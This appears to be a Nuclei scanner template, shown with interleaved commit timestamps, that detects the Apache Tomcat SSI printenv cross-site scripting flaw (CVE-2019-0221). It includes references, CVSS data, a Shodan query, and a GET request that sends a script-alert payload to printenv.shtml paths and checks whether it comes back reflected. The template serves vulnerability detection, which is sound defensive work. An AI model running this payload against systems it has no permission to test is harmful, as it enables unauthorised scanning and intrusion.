2021-03-05 14:38:39 +00:00
id : CVE-2019-0221
info :
2022-08-12 00:45:50 +00:00
name : Apache Tomcat - Cross-Site Scripting
2021-03-05 14:38:39 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : medium
2021-03-05 14:38:39 +00:00
description : |
2022-08-12 00:45:50 +00:00
Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note : SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
2023-09-06 12:53:28 +00:00
remediation : |
Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://seclists.org/fulldisclosure/2019/May/50
- https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
- https://www.exploit-db.com/exploits/50119
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
2022-08-12 00:45:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-0221
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-0221
cwe-id : CWE-79
2023-11-09 06:04:52 +00:00
epss-score : 0.00915
2023-11-20 05:10:39 +00:00
epss-percentile : 0.81052
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
2022-07-04 13:18:48 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : tomcat
2023-09-06 12:53:28 +00:00
shodan-query : title:"Apache Tomcat"
2022-08-27 04:41:18 +00:00
tags : apache,xss,tomcat,seclists,edb,cve,cve2019
2023-07-24 09:11:30 +00:00
variables :
payload : "<script>alert({{rand_int()}})</script>"
2023-04-27 04:28:59 +00:00
http :
2021-03-05 14:38:39 +00:00
- method : GET
path :
2023-07-24 09:11:30 +00:00
- "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
- "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"
2021-03-05 14:38:39 +00:00
matchers-condition : and
matchers :
- type : word
words :
2023-07-24 09:11:30 +00:00
- "QUERY_STRING_UNESCAPED={{payload}}"
2021-03-06 05:58:28 +00:00
- type : word
2021-12-29 13:40:59 +00:00
part : header
2021-03-06 05:58:28 +00:00
words :
- "text/html"
2021-03-05 14:38:39 +00:00
- type : status
status :
- 200
2023-11-19 08:30:54 +00:00
# digest: 490a0046304402201b7937273ae66b607c432562084a165c2eabb13e2c73189a487798da1c74973802201a69b84ca39447d04f80e687f240ed5e02c507765f10873f45f2e537157ea062:922c64590222798bb761d5b6d8e72950